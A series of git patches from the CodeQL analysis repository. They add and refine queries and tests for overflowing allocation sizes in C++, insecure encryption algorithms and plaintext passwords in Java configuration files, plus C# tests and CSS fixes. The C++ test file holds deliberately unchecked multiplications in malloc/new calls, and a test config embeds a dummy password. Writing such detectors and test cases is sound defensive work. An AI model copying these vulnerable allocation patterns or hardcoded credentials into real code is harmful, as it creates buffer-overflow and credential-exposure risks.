cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected new file mode 100644 index 00000000000..f93c61bd5ae --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected @@ -0,0 +1,17 @@ +edges +| test.cpp:22:17:22:21 | ... * ... | test.cpp:23:33:23:37 | size1 | +nodes +| test.cpp:13:33:13:37 | ... * ... | semmle.label | ... * ... | +| test.cpp:15:31:15:35 | ... * ... | semmle.label | ... * ... | +| test.cpp:19:34:19:38 | ... * ... | semmle.label | ... * ... | +| test.cpp:22:17:22:21 | ... * ... | semmle.label | ... * ... | +| test.cpp:23:33:23:37 | size1 | semmle.label | size1 | +| test.cpp:30:27:30:31 | ... * ... | semmle.label | ... * ... | +| test.cpp:31:27:31:31 | ... * ... | semmle.label | ... * ... | +#select +| test.cpp:13:33:13:37 | ... * ... | test.cpp:13:33:13:37 | ... * ... | test.cpp:13:33:13:37 | ... * ... | $@ in test | test.cpp:13:33:13:37 | ... * ... | here | +| test.cpp:15:31:15:35 | ... * ... | test.cpp:15:31:15:35 | ... * ... | test.cpp:15:31:15:35 | ... * ... | $@ in test | test.cpp:15:31:15:35 | ... * ... | here | +| test.cpp:19:34:19:38 | ... * ... | test.cpp:19:34:19:38 | ... * ... | test.cpp:19:34:19:38 | ... * ... | $@ in test | test.cpp:19:34:19:38 | ... * ... | here | +| test.cpp:23:33:23:37 | size1 | test.cpp:22:17:22:21 | ... * ... | test.cpp:23:33:23:37 | size1 | $@ in test | test.cpp:22:17:22:21 | ... * ... | here | +| test.cpp:30:27:30:31 | ... * ... | test.cpp:30:27:30:31 | ... * ... | test.cpp:30:27:30:31 | ... * ... | $@ in test | test.cpp:30:27:30:31 | ... * ... | here | +| test.cpp:31:27:31:31 | ... * ... | test.cpp:31:27:31:31 | ... * ... | test.cpp:31:27:31:31 | ... * ... | $@ in test | test.cpp:31:27:31:31 | ... * ... | here | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref new file mode 100644 index 00000000000..7bb108b6628 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp new file mode 100644 index 00000000000..ab26fef3ed0 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/test.cpp @@ -0,0 +1,32 @@ + +typedef unsigned long size_t; +void *malloc(size_t size); + +int getAnInt(); + +void test() +{ + int x = getAnInt(); + int y = getAnInt(); + + char *buffer1 = (char *)malloc(x + y); // GOOD + char *buffer2 = (char *)malloc(x * y); // BAD + int *buffer3 = (int *)malloc(x * sizeof(int)); // GOOD + int *buffer4 = (int *)malloc(x * y * sizeof(int)); // BAD + + if ((x <= 1000) && (y <= 1000)) + { + char *buffer5 = (char *)malloc(x * y); // GOOD [FALSE POSITIVE] + } + + size_t size1 = x * y; + char *buffer5 = (char *)malloc(size1); // BAD + + size_t size2 = x; + size2 *= y; + char *buffer6 = (char *)malloc(size2); // BAD [NOT DETECTED] + + char *buffer7 = new char[x * 10]; // GOOD + char *buffer8 = new char[x * y]; // BAD + char *buffer9 = new char[x * x]; // BAD +} From ff123f8e78355faa5665890ad334f4c1c920b2f2 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 16 Dec 2020 15:58:12 +0000 Subject: [PATCH 0290/1241] align list items correctly --- docs/codeql/_static/custom.css_t | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/codeql/_static/custom.css_t b/docs/codeql/_static/custom.css_t index a705cfdccbd..b9d92330978 100644 --- a/docs/codeql/_static/custom.css_t +++ b/docs/codeql/_static/custom.css_t @@ -34,6 +34,10 @@ article { min-height: calc(100vh - 145px); /* Makes sure GitHub footer stays at bottom of viewport */ } +article ul, article ol { + margin-left: 18px; /* Aligns list items with other text */ +} + /* -- SIDEBAR ------------------------------------------------------------------------------- */ .SideNav { From 1e3535754b92c6b896264a4157d60f93f5a514b4 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 16 Dec 2020 15:58:27 +0000 Subject: [PATCH 0291/1241] C++: Violation message. --- .../CWE/CWE-190/AllocMultiplicationOverflow.ql | 8 +++----- .../AllocMultiplicationOverflow.expected | 12 ++++++------ 2 files changed, 9 insertions(+), 11 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql index 066323d1bd8..1933f5592bc 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql @@ -33,10 +33,8 @@ class MultToAllocConfig extends DataFlow::Configuration { } } -string describe(DataFlow::PathNode n) { - result = n.getNode().asExpr().getEnclosingFunction().getName() -} - from MultToAllocConfig config, DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) -select sink, source, sink, "$@ in " + concat(describe(source), ", "), source, "here" +select sink, source, sink, + "Potentially overflowing value from $@ is used in the size of this allocation.", source, + "multiplication" diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected index f93c61bd5ae..b8428a43d11 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-190/AllocMultiplicationOverflow/AllocMultiplicationOverflow.expected @@ -9,9 +9,9 @@ nodes | test.cpp:30:27:30:31 | ... * ... | semmle.label | ... * ... | | test.cpp:31:27:31:31 | ... * ... | semmle.label | ... * ... | #select -| test.cpp:13:33:13:37 | ... * ... | test.cpp:13:33:13:37 | ... * ... | test.cpp:13:33:13:37 | ... * ... | $@ in test | test.cpp:13:33:13:37 | ... * ... | here | -| test.cpp:15:31:15:35 | ... * ... | test.cpp:15:31:15:35 | ... * ... | test.cpp:15:31:15:35 | ... * ... | $@ in test | test.cpp:15:31:15:35 | ... * ... | here | -| test.cpp:19:34:19:38 | ... * ... | test.cpp:19:34:19:38 | ... * ... | test.cpp:19:34:19:38 | ... * ... | $@ in test | test.cpp:19:34:19:38 | ... * ... | here | -| test.cpp:23:33:23:37 | size1 | test.cpp:22:17:22:21 | ... * ... | test.cpp:23:33:23:37 | size1 | $@ in test | test.cpp:22:17:22:21 | ... * ... | here | -| test.cpp:30:27:30:31 | ... * ... | test.cpp:30:27:30:31 | ... * ... | test.cpp:30:27:30:31 | ... * ... | $@ in test | test.cpp:30:27:30:31 | ... * ... | here | -| test.cpp:31:27:31:31 | ... * ... | test.cpp:31:27:31:31 | ... * ... | test.cpp:31:27:31:31 | ... * ... | $@ in test | test.cpp:31:27:31:31 | ... * ... | here | +| test.cpp:13:33:13:37 | ... * ... | test.cpp:13:33:13:37 | ... * ... | test.cpp:13:33:13:37 | ... * ... | Potentially overflowing value from $@ is used in the size of this allocation. | test.cpp:13:33:13:37 | ... * ... | multiplication | +| test.cpp:15:31:15:35 | ... * ... | test.cpp:15:31:15:35 | ... * ... | test.cpp:15:31:15:35 | ... * ... | Potentially overflowing value from $@ is used in the size of this allocation. | test.cpp:15:31:15:35 | ... * ... | multiplication | +| test.cpp:19:34:19:38 | ... * ... | test.cpp:19:34:19:38 | ... * ... | test.cpp:19:34:19:38 | ... * ... | Potentially overflowing value from $@ is used in the size of this allocation. | test.cpp:19:34:19:38 | ... * ... | multiplication | +| test.cpp:23:33:23:37 | size1 | test.cpp:22:17:22:21 | ... * ... | test.cpp:23:33:23:37 | size1 | Potentially overflowing value from $@ is used in the size of this allocation. | test.cpp:22:17:22:21 | ... * ... | multiplication | +| test.cpp:30:27:30:31 | ... * ... | test.cpp:30:27:30:31 | ... * ... | test.cpp:30:27:30:31 | ... * ... | Potentially overflowing value from $@ is used in the size of this allocation. | test.cpp:30:27:30:31 | ... * ... | multiplication | +| test.cpp:31:27:31:31 | ... * ... | test.cpp:31:27:31:31 | ... * ... | test.cpp:31:27:31:31 | ... * ... | Potentially overflowing value from $@ is used in the size of this allocation. | test.cpp:31:27:31:31 | ... * ... | multiplication | From 136fa01b874105a776ec227f6e0a6489c628bd80 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 16 Dec 2020 16:24:10 +0000 Subject: [PATCH 0292/1241] C++: Query headers (apart from precison - needs more research). --- .../Security/CWE/CWE-190/AllocMultiplicationOverflow.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql index 1933f5592bc..c2aa7c911bf 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql @@ -1,8 +1,8 @@ /** * @name Multiplication result may overflow and be used in allocation - * @description TODO + * @description Using a multiplication result that may overflow in the size of an allocation may lead to buffer overflows when the allocated memory is used. * @kind path-problem - * @problem.severity TODO + * @problem.severity warning * @precision TODO * @tags security * correctness From 686eca9adf3ce24dbac63d5699be2aa44674c875 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 16 Dec 2020 15:31:25 +0000 Subject: [PATCH 0293/1241] fix footnote spacing --- docs/codeql/_static/custom.css_t | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/docs/codeql/_static/custom.css_t b/docs/codeql/_static/custom.css_t index 927660034fe..a705cfdccbd 100644 --- a/docs/codeql/_static/custom.css_t +++ b/docs/codeql/_static/custom.css_t @@ -181,6 +181,11 @@ table.docutils.footnote { margin-left: 10px; } +table.footnote td.label { + padding-right: 10px; + display: table-cell; +} + /* -- STYLE PULL-QUOTE AS ADMONITION WHILE DOCS STILL PARSED FOR LGTM EMBEDDED HELP------------------------- */ blockquote.pull-quote { From 6c430ce0c7c0cd1f6e03d222eeb9b65a0715a2df Mon Sep 17 00:00:00 2001 From: james Date: Wed, 16 Dec 2020 15:58:12 +0000 Subject: [PATCH 0294/1241] align list items correctly --- docs/codeql/_static/custom.css_t | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/codeql/_static/custom.css_t b/docs/codeql/_static/custom.css_t index a705cfdccbd..b9d92330978 100644 --- a/docs/codeql/_static/custom.css_t +++ b/docs/codeql/_static/custom.css_t @@ -34,6 +34,10 @@ article { min-height: calc(100vh - 145px); /* Makes sure GitHub footer stays at bottom of viewport */ } +article ul, article ol { + margin-left: 18px; /* Aligns list items with other text */ +} + /* -- SIDEBAR ------------------------------------------------------------------------------- */ .SideNav { From bed8a68d2805a68096eff3d1c3c94068eda9baa2 Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Thu, 17 Dec 2020 00:41:23 +0000 Subject: [PATCH 0295/1241] Exclude broken algorithms from the list of secure algorithms --- java/ql/src/semmle/code/java/security/Encryption.qll | 4 ++-- java/ql/test/library-tests/Encryption/Test.java | 1 - java/ql/test/library-tests/Encryption/cryptoalgospec.expected | 4 ++-- java/ql/test/library-tests/Encryption/secure.expected | 4 ++-- 4 files changed, 6 insertions(+), 7 deletions(-) diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index 38e7b16c9f0..dea253b1a00 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -99,7 +99,7 @@ string getAnInsecureAlgorithmName() { result = "RC5" or result = "ARCFOUR" or // a variant of RC4 result = "ECB" or // encryption mode ECB like AES/ECB/NoPadding is vulnerable to replay and other attacks - result = "AES/CBC/PKCS5Padding" // CBC mode of operation with PKCS#5 (or PKCS#7) padding is vulnerable to padding oracle attacks + result = "AES/CBC/PKCS[5|7]Padding" // CBC mode of operation with PKCS#5 (or PKCS#7) padding is vulnerable to padding oracle attacks } /** @@ -141,7 +141,7 @@ string getASecureAlgorithmName() { result = "SHA512" or result = "CCM" or result = "GCM" or - result = "AES" or + result = "AES([^a-zA-Z](?!ECB|CBC/PKCS[5|7]Padding)).*" or result = "Blowfish" or result = "ECIES" } diff --git a/java/ql/test/library-tests/Encryption/Test.java b/java/ql/test/library-tests/Encryption/Test.java index e010eaf5849..613476292ef 100644 --- a/java/ql/test/library-tests/Encryption/Test.java +++ b/java/ql/test/library-tests/Encryption/Test.java @@ -14,7 +14,6 @@ class Test { "AES/ECB/NoPadding", "AES/CBC/PKCS5Padding"); - List goodStrings = Arrays.asList( "AES", "AES_function", diff --git a/java/ql/test/library-tests/Encryption/cryptoalgospec.expected b/java/ql/test/library-tests/Encryption/cryptoalgospec.expected index f9564b1df25..f066e6a0b0b 100644 --- a/java/ql/test/library-tests/Encryption/cryptoalgospec.expected +++ b/java/ql/test/library-tests/Encryption/cryptoalgospec.expected @@ -1,2 +1,2 @@ -| Test.java:35:4:35:17 | super(...) | Test.java:35:10:35:15 | "some" | -| Test.java:39:3:39:38 | getInstance(...) | Test.java:39:29:39:37 | "another" | +| Test.java:37:4:37:17 | super(...) | Test.java:37:10:37:15 | "some" | +| Test.java:41:3:41:38 | getInstance(...) | Test.java:41:29:41:37 | "another" | diff --git a/java/ql/test/library-tests/Encryption/secure.expected b/java/ql/test/library-tests/Encryption/secure.expected index f1b206d7205..a305f4ae778 100644 --- a/java/ql/test/library-tests/Encryption/secure.expected +++ b/java/ql/test/library-tests/Encryption/secure.expected @@ -1,2 +1,2 @@ -| Test.java:16:4:16:8 | "AES" | -| Test.java:17:4:17:17 | "AES_function" | +| Test.java:18:4:18:8 | "AES" | +| Test.java:19:4:19:17 | "AES_function" | From b44f01a87b69868b9fb99142a761a5cffdeb0a4b Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Thu, 17 Dec 2020 03:47:38 +0000 Subject: [PATCH 0296/1241] Enhance the check for embedded passwords --- .../CWE-555/PasswordInConfigurationFile.ql | 29 ++++++++++++++----- .../PasswordInConfigurationFile.expected | 1 + .../security/CWE-555/custom-config.xml | 4 +++ 3 files changed, 27 insertions(+), 7 deletions(-) create mode 100644 java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql index f3181bc17f7..4fbac84328e 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -11,12 +11,27 @@ import java -predicate isNotPassword(XMLAttribute a) { - a.getValue() = "" // Empty string - or - a.getValue().regexpMatch("\\$\\{.*\\}") // Variable placeholder ${password} - or - a.getValue().matches("%=") // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. +/* Holds if the attribute value is not a cleartext password */ +predicate isNotPassword(XMLAttribute attr) { + exists(string value | value = attr.getValue().trim() | + value = "" // Empty string + or + value.regexpMatch("\\$\\{.*\\}") // Variable placeholder ${password} + or + value.matches("%=") // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. + ) +} + +/* Holds if the attribute value has an embedded password */ +predicate hasEmbeddedPassword(XMLAttribute attr) { + exists(string password | + password = attr.getValue().regexpCapture("(?is).*(pwd|password)\\s*=([^;:,]*).*", 2).trim() and + not ( + password = "" or + password.regexpMatch("\\$\\{.*\\}") or + password.matches("%=") + ) + ) } from XMLAttribute nameAttr @@ -33,5 +48,5 @@ where not isNotPassword(valueAttr) ) or - nameAttr.getValue().regexpMatch("(?is).*(pwd|password)\\s*=(?!\\s*;).*") // Attribute value matches password pattern + hasEmbeddedPassword(nameAttr) // Attribute value matches password pattern select nameAttr, "Plaintext password in configuration file." diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected index f3e3e3b9e74..fac44a3c2ec 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.expected @@ -1,2 +1,3 @@ | applicationContext.xml:9:3:9:48 | name=password | Plaintext password in configuration file. | | context.xml:4:2:8:50 | password=1234 | Plaintext password in configuration file. | +| custom-config.xml:3:2:3:137 | value=server=myoracle.example.com;port=1521;database=testdb;username=root;password=test1234 | Plaintext password in configuration file. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml b/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml new file mode 100644 index 00000000000..3569f0d09de --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml @@ -0,0 +1,4 @@ + + + + From f12befdcd0493bcb129860e9e5ddf53e37bef847 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 17 Dec 2020 12:14:51 +0100 Subject: [PATCH 0297/1241] Add extra test for collection initialization --- .../library-tests/csharp9/AnonymousObjectCreation.cs | 5 +++++ .../csharp9/AnonymousObjectCreation.expected | 1 + csharp/ql/test/library-tests/csharp9/PrintAst.expected | 9 +++++++++ 3 files changed, 15 insertions(+) diff --git a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs index 590490d43d5..da10c241883 100644 --- a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs +++ b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs @@ -19,4 +19,9 @@ public class AnonObj void M2(int x) { } D GetM() { return new(M2); } + + void MethodAdd() + { + List list = new();// { 1, 2, 3 }; todo: the initializer causes an extraction error + } } \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected index 0f845115541..4e1357facb7 100644 --- a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected +++ b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected @@ -2,5 +2,6 @@ implicitlyTypedObjectCreation | AnonymousObjectCreation.cs:7:31:7:35 | object creation of type List | | AnonymousObjectCreation.cs:13:17:13:35 | object creation of type AnonObj | | AnonymousObjectCreation.cs:14:16:14:20 | object creation of type AnonObj | +| AnonymousObjectCreation.cs:25:26:25:30 | object creation of type List | implicitlyTypedDelegateCreation | AnonymousObjectCreation.cs:21:23:21:29 | delegate creation of type D | diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 098b664e9a6..b75cd6c3177 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -45,6 +45,15 @@ AnonymousObjectCreation.cs: # 21| 0: [ExplicitDelegateCreation] delegate creation of type D # 21| 0: [ImplicitDelegateCreation] delegate creation of type D # 21| 0: [MethodAccess] access to method M2 +# 23| 11: [Method] MethodAdd +# 23| -1: [TypeMention] Void +# 24| 4: [BlockStmt] {...} +# 25| 0: [LocalVariableDeclStmt] ... ...; +# 25| 0: [LocalVariableDeclAndInitExpr] List list = ... +# 25| -1: [TypeMention] List +# 25| 1: [TypeMention] int +# 25| 0: [LocalVariableAccess] access to local variable list +# 25| 1: [ObjectCreation] object creation of type List Discard.cs: # 3| [Class] Discard # 5| 5: [Method] M1 From 57c163f31413161d8edc7c4fe11a53c51e927539 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 14 Dec 2020 10:20:16 +0100 Subject: [PATCH 0298/1241] C#: Add test for CIL setter extraction --- csharp/ql/src/semmle/code/cil/Method.qll | 3 +++ .../library-tests/cil/init-only-prop/Program.cs | 10 ++++++++++ .../library-tests/cil/init-only-prop/Test.cs_ | 13 +++++++++++++ .../cil/init-only-prop/cil-init-prop.dll | Bin 0 -> 4608 bytes .../cil/init-only-prop/setters.expected | 2 ++ .../library-tests/cil/init-only-prop/setters.ql | 8 ++++++++ 6 files changed, 36 insertions(+) create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/Program.cs create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/Test.cs_ create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/cil-init-prop.dll create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/setters.expected create mode 100644 csharp/ql/test/library-tests/cil/init-only-prop/setters.ql diff --git a/csharp/ql/src/semmle/code/cil/Method.qll b/csharp/ql/src/semmle/code/cil/Method.qll index 69ecad20bdf..ed6c548b020 100644 --- a/csharp/ql/src/semmle/code/cil/Method.qll +++ b/csharp/ql/src/semmle/code/cil/Method.qll @@ -246,6 +246,9 @@ class Setter extends Accessor { Setter() { cil_setter(_, this) } override Property getProperty() { cil_setter(result, this) } + + /** Holds if this setter is an `init`-only accessor. */ + predicate isInitOnly() { none() } } /** diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/Program.cs b/csharp/ql/test/library-tests/cil/init-only-prop/Program.cs new file mode 100644 index 00000000000..ea38187bdec --- /dev/null +++ b/csharp/ql/test/library-tests/cil/init-only-prop/Program.cs @@ -0,0 +1,10 @@ +// semmle-extractor-options: --cil + +using System; + +class Test +{ + static void Main(string[] args) + { + } +} diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/Test.cs_ b/csharp/ql/test/library-tests/cil/init-only-prop/Test.cs_ new file mode 100644 index 00000000000..d39b5a82926 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/init-only-prop/Test.cs_ @@ -0,0 +1,13 @@ +namespace System.Runtime.CompilerServices +{ + class IsExternalInit { } +} + +namespace cil_init_prop +{ + class SomeClass + { + public int Prop1 { get; set; } + public int Prop2 { get; init; } + } +} diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/cil-init-prop.dll b/csharp/ql/test/library-tests/cil/init-only-prop/cil-init-prop.dll new file mode 100644 index 0000000000000000000000000000000000000000..dceff38f4876df7970395ec4a9046e1e1b276225 GIT binary patch literal 4608 zcmeHKU2GiH75-+tHjd*saUdv&pG=4<Sc-ArJ_}KWk%CCox_pq(Q=--M!gNJUcVY z%$isTun_-!;h_=|2#FxxDph$%B~(fuijXQKDg;I4u|lY&NT@B32ob(>XV%`eAp)Kd z;yU-c=kK0-&bfE?-W)#p99jV6*e_lLUgIcjNaLkpnd+_`f9%4A4e#uH&6s*;=j>@W zw!$c=L{8NzIldnxR#90|&9_|N${#IQ)u62GO`AG;GS|~%z?9K~+?!XNtFQJ?TyJeO z`hX5f+EVHG9*!3K5Ie9%(`FjC2qb>pmWh;0Yr*^zVk-Yu$BY#b+y8F>jtVgZw4_D2__xbZkQ;BvA>d zp$##5J5pXiL#>*pQhe#WIc9AL7^&0saktc!O=2_AipMSBY1Z5j;SXrnnGbPl?ibga zEe~sg0)~{YC+CN(KhdgPoWp zPFphL$#w%bP<|rgHtJbU#%-g{gqv|Ya1*&G<+jf-k`_GF#7PA2F$BR4m|^DK#5P<- z>|l&D<`(p8JfLw{>TeuJJGx8Km_z*TWVn6Y693ozg`-!_y zA>M?Sh=Vv!ydAF-NAXwUue7{C9MXP9Sdk6j;NhTL^VFR< zsIBi@n424MN((&OF{KTy)0Y}jWcGQh)Ip}=UzP+L<{Tf z$GQA*6~%7guUAg`r-G>JBvd-yw_1$`{wcRoWBg4{(%iIgMtROzO~vaMVOh(yQnFql z4jg}JRgo1_%M-WgdT!F7U39#fLUY~iENJdlU6Xg6iXX&@TZ(O6W0YKPuj{+XUS5o$ zUG}`pv_4}-o$^#kl4~{r;gP@}J6lqr zWITIX4y-}D%k+nHvw`jQk+Ip)AX39&_{*%mcPtLt{dCZE#mZ63yK(3_OGkL}u+_k( zrYiG(G0>WpADwjG&l`n*sa!MsaAifV+|)Whd+IG1ho|K$Kf^xHdw*VE6seh*U(QZ3 z-X^@=pc9KVS1x7>`NIDy|9I?;zigfQv#b90pJ)Gdi}>h07W1pTGoBDd6KTCe( z6)^NBZU>f|15Mu^{Cw8Q#cqQA#1QaF{c0rtiMfw>90kk~$1p=`k}vHe8l%W zE_->Ncqi4-h>rfg~?;xRF zKrU_Pa}$i!U`z?ET*@oo;HgL3^r8N@4@J_zL3DBMDE(Ct>NS>_kwZ>t_azh@0oGt<-9rfLnD Date: Thu, 17 Dec 2020 14:26:13 +0000 Subject: [PATCH 0299/1241] Revamp the functions to have a string parameter --- .../CWE-555/PasswordInConfigurationFile.ql | 33 +++++++++---------- 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql index 4fbac84328e..41c222e6fe8 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql @@ -12,31 +12,28 @@ import java /* Holds if the attribute value is not a cleartext password */ -predicate isNotPassword(XMLAttribute attr) { - exists(string value | value = attr.getValue().trim() | - value = "" // Empty string - or - value.regexpMatch("\\$\\{.*\\}") // Variable placeholder ${password} - or - value.matches("%=") // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. - ) +bindingset[value] +predicate isNotPassword(string value) { + value = "" // Empty string + or + value.regexpMatch("\\$\\{.*\\}") // Variable placeholder ${password} + or + value.matches("%=") // A basic check of encrypted passwords ending with padding characters, which could be improved to be more accurate. } /* Holds if the attribute value has an embedded password */ -predicate hasEmbeddedPassword(XMLAttribute attr) { +bindingset[value] +predicate hasEmbeddedPassword(string value) { exists(string password | - password = attr.getValue().regexpCapture("(?is).*(pwd|password)\\s*=([^;:,]*).*", 2).trim() and - not ( - password = "" or - password.regexpMatch("\\$\\{.*\\}") or - password.matches("%=") - ) + password = value.regexpCapture("(?is).*(pwd|password)\\s*=([^;:,]*).*", 2).trim() and + not isNotPassword(password) ) } from XMLAttribute nameAttr where - nameAttr.getName().toLowerCase() in ["password", "pwd"] and not isNotPassword(nameAttr) // Attribute name "password" or "pwd" + nameAttr.getName().toLowerCase() in ["password", "pwd"] and + not isNotPassword(nameAttr.getValue().trim()) // Attribute name "password" or "pwd" or exists( XMLAttribute valueAttr // name/value pair like @@ -45,8 +42,8 @@ where nameAttr.getName().toLowerCase() = "name" and nameAttr.getValue().toLowerCase() in ["password", "pwd"] and valueAttr.getName().toLowerCase() = "value" and - not isNotPassword(valueAttr) + not isNotPassword(valueAttr.getValue().trim()) ) or - hasEmbeddedPassword(nameAttr) // Attribute value matches password pattern + hasEmbeddedPassword(nameAttr.getValue().trim()) // Attribute value matches password pattern select nameAttr, "Plaintext password in configuration file." From fda531da498c85d273a10c183d6ee5dc542757da Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 17 Dec 2020 14:31:43 +0000 Subject: [PATCH 0300/1241] C++: Add query precision. --- .../Security/CWE/CWE-190/AllocMultiplicationOverflow.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql index c2aa7c911bf..3a253854679 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql @@ -3,7 +3,7 @@ * @description Using a multiplication result that may overflow in the size of an allocation may lead to buffer overflows when the allocated memory is used. * @kind path-problem * @problem.severity warning - * @precision TODO + * @precision low * @tags security * correctness * external/cwe/cwe-190 From fe559c190e15405fba998724ff74b4fc91552ab7 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 17 Dec 2020 15:24:35 +0100 Subject: [PATCH 0301/1241] C#: Recognize format methods without insertion parameters --- .../ql/src/semmle/code/csharp/frameworks/Format.qll | 2 -- .../FormatMissingArgument/FormatMissingArgument.cs | 3 +++ .../FormatMissingArgument.expected | 12 +++++++----- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git 